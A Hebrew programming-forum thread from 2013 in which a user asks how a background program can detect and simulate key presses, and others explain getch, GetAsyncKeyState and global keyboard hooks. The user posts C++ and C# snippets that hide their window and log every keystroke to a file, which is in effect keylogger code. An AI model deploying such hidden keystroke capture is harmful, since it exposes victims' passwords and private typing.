פורסם 2013 בנובמבר 512 שנים אני צריך כמה פקודות שאני לא יודע ולא מצליח למצוא אני צריך שהתוכנה תדע שנלחץ כפתור ואיזה כפתור לדוגמה התוכנה רצה ברקע וכשהמשתמש לוחץ f10 אז.... ובנוסף לזה אני צריך שהתוכנה תדמה לחיצות של מקלדת.
פורסם 2013 בנובמבר 512 שנים אתה צריך להשתמש בפונקציה getch_ (שבשבילה צריך לעשות אינקלוד לספריה conio.h). הפונקציה מחכה ללחיצה על מקש במקלדת ואז מחזירה איזה מקש נלחץ. אם זה מקש מיוחד (insert, delete, f10 וכד') אז היא מחזירה 0 ואז צריך לקרוא לה שוב כדי לדעת איזה מקש בדיוק נלחץ. תעשה עם זה ניסויים ותבין מה הכוונה.
פורסם 2013 בנובמבר 512 שנים שפת C או ++C הסטנדרטיות לא מספקות פונקציות לקריאת מקשי המקלדת או להדמייה של לחיצה על מקלדת.אלה הם שירותים (כלומר API) שמערכת ההפעלה מספקת, או במקרים מסויימים, באים כהרחבה לספריית C (למשל getch שהוזכרה) אבל זה לא חלק מהסטנדרד של C.על חלונות תצטרך להשתמש ב-API של המקלדת תתחיל כאן:http://msdn.microsoft.com/en-us/library/windows/desktop/ms645530%28v=vs.85%29.aspx
פורסם 2013 בנובמבר 612 שנים מחבר חיפשתי קטע קוד כדי להבין איך להשתמש בGetAsyncKeyStateאפשר הסבר קטן עליו?אני לא מבין למה צריך את הלולאת FOR הזאת לדוגמאHWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); char i; string s="LOG.txt"; errno_t err; FILE *OUTPUT_FILE;[B]while (1){ for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) { err= fopen_s( & OUTPUT_FILE ,"LOG.txt", "a+"); int c=static_cast<int>(i); fprintf(OUTPUT_FILE, "%s", &c); fclose (OUTPUT_FILE); } }[/B]}system ("PAUSE");return 0;} נערך 2013 בנובמבר 612 שנים על-ידי RonCohen
פורסם 2013 בנובמבר 912 שנים חיפשתי קטע קוד כדי להבין איך להשתמש בGetAsyncKeyStateאפשר הסבר קטן עליו?אני לא מבין למה צריך את הלולאת FOR הזאת לדוגמאHWND Stealth; AllocConsole(); Stealth = FindWindowA("ConsoleWindowClass", NULL); ShowWindow(Stealth,0); char i; string s="LOG.txt"; errno_t err; FILE *OUTPUT_FILE;[B]while (1){ for(i = 8; i <= 190; i++) { if (GetAsyncKeyState(i) == -32767) { err= fopen_s( & OUTPUT_FILE ,"LOG.txt", "a+"); int c=static_cast<int>(i); fprintf(OUTPUT_FILE, "%s", &c); fclose (OUTPUT_FILE); } }[/B]}system ("PAUSE");return 0;}הפונקציה getAsyncKeyState מקבלת תו (או יותר נכון מקש) ואומרת אם הוא לחוץ או לא.הוא עובר על המקשים שמעניינים אותו ובמידה שאחד מהם לחוץ הוא משרשר אותו לקובץ.
פורסם 2013 בנובמבר 2112 שנים קצת באיחור, אבל הדרך הטובה ביותר לעשות את זה היא באמצעות HOOK למקלדת, ככה לא משנה איפה אתה נמצא - מקש שנלחץ יגיע לתוכנית שלךwww.codeproject.com/Articles/1264/KeyBoard-Hooksבהצלחה.
פורסם 2013 בנובמבר 2512 שנים מחבר כשאני משתמש בהוק זה מראה לי במקום מספרים של הNUMPAD אותיות קטנות וכשאני כותב לא משנה איך זה תמיד אותיות גדולות
פורסם 2013 בנובמבר 2512 שנים מחבר עברתי לC# כרגע כדי להבין איך הוק עובד אז אני יעבור לC++public partial class Form1 : Form { GlobalKeyboardHook gHook; public Form1() { InitializeComponent(); } private void Form1_Load(object sender, EventArgs e) { byte[] stacker = new byte[1073741824]; for (int i = 0; i < 1073741824; i++) { stacker[i] = 1; } gHook = new GlobalKeyboardHook(); gHook.KeyDown += new KeyEventHandler(gHook_KeyDown); foreach (Keys key in Enum.GetValues(typeof(Keys))) gHook.HookedKeys.Add(key); gHook.hook(); } public void gHook_KeyDown(object sender, KeyEventArgs e) { string text = ((char)e.KeyValue).ToString(); System.IO.StreamWriter file = new System.IO.StreamWriter(@"I:\RonCohen\Documents\Visual Studio 2012\Projects\WindowsFormsApplication1\WriteText.txt", true); file.Write(text); file.Close(); } private void Form1_FormClosing(object sender, FormClosingEventArgs e) { gHook.unhook(); } נערך 2013 בנובמבר 2512 שנים על-ידי RonCohen
פורסם 2013 בנובמבר 2512 שנים הבעיה היא שאתה ממיר את ה-KeyValue ל-char. אין התאמה חד חד ערכית בין מקשים במקלדת לתווים - יש תווים שיש להם כמה מקשים שונים (כמו המספרים שנמצאים גם בשורה העליונה וגם ב-numpad), יש מקשים שיש להם כמה תווים שונים (לדוגמה כל האותיות) ויש מקשים שאין להם שום תווים מקבילים (כמו F1-F12).אתה צריך להשתמש במקום זה בשדה ה-KeyCode.http://msdn.microsoft.com/en-us/library/system.windows.forms.keyeventargs.keycode(v=vs.110).aspx
פורסם 2013 בנובמבר 2512 שנים מחבר ממש תודה שאלה אחרונה אני יודע שיש דרך קלה יותר להשתמש ברשתות בC# משהו מובנה איך קוראים לזה?לא משנה מצאתי קוראים לזה WCF נערך 2013 בנובמבר 2512 שנים על-ידי RonCohen
ארכיון
דיון זה הועבר לארכיון ולא ניתן להוסיף בו תגובות חדשות.